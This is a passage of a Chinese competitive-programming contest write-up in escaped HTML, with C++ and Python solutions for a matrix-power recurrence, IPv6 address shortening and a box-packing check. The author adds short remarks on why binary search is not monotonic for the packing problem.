class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e vector\u0026lt;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt; /**/\u0026gt; mat;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emat unit = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emat zero = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, b, x1, x2, mod;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e n[\u003cspan class=\"number\"\u003e1000000\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e*(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;a, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;b) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat ret = zero;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret[i][j] += a[i][k] * b[k][j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret[i][j] %= mod;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etemplate\u003c/span\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etypename\u003c/span\u003e T\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e T \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e^(T a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e T ret = unit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (n) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret = ret * a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e n \u0026gt;\u0026gt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e a = a * a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %d %d %d\u0026quot;\u003c/span\u003e, \u0026amp;x1, \u0026amp;x2, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%s %d\u0026quot;\u003c/span\u003e, n, \u0026amp;mod);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e length = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(n);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat res = unit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat base = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;a, b\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = length - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n[i] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = res * (base ^ (n[i] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e base = base ^ \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = res * mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;x2, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;x1, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%lld\\n\u0026quot;\u003c/span\u003e, res[\u003cspan class=\"number\"\u003e1\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"three-points-1\"\u003ethree points 1\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e有思路有思路。。。。\u003cbr\u003e十分钟能写完么\u003cbr\u003e不能\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第六场\"\u003e第六场\u003c/h2\u003e\u003ch3 id=\"B-Shorten-IPv6-Address\"\u003eB: Shorten IPv6 Address\u003c/h3\u003e\u003cp\u003e比赛的时候我在干什么系列\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T \u0026gt; case:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e case += \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = [\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(i)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x])]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e k \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e]:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e k != \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e flag:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[:i]])+\u003cspan class=\"string\"\u003e\u0026#x27;::\u0026#x27;\u003c/span\u003e+\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]]))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x: (\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), x))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;Case #%d:\u0026#x27;\u003c/span\u003e % (case), s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是python里头有个all,可以判断一个可遍历对象里头是否都为true\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T\u0026gt;case:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e case+=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = [\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e))[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x)]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eall\u003c/span\u003e(\u003cspan class=\"built_in\"\u003emap\u003c/span\u003e(\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:x==\u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e,x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e])):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x[:i])+\u003cspan class=\"string\"\u003e\u0026#x27;::\u0026#x27;\u003c/span\u003e+\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]) )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x),x))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;Case #%d:\u0026#x27;\u003c/span\u003e%(case),s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"D-Move\"\u003eD: Move\u003c/h3\u003e\u003cp\u003e数据毒瘤。。。有多少人的二分都过了。。\u003cbr\u003e证明\u0026quot;$f(V)=需要的盒子数$\u0026quot;不单调:\u003cbr\u003e首先取体积为V的流体(即$\\lim\\limits_{n \\to \\infty}v_1,v_2…v_n$)放满K个盒子,取$v_i, v_j$合并为一个物体,此时$\\sum v_i$没变,而多了一个需要的盒子\u003cbr\u003e貌似遍历check一遍就能过\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003echeck\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e V)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(put, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e) * n);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt_obj = n, cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (sumV) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cur = V;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!put[i] \u0026amp;\u0026amp; v[i] \u0026lt;= cur) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e put[i] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt_obj--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cur -= v[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e cnt \u0026lt;= k;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = 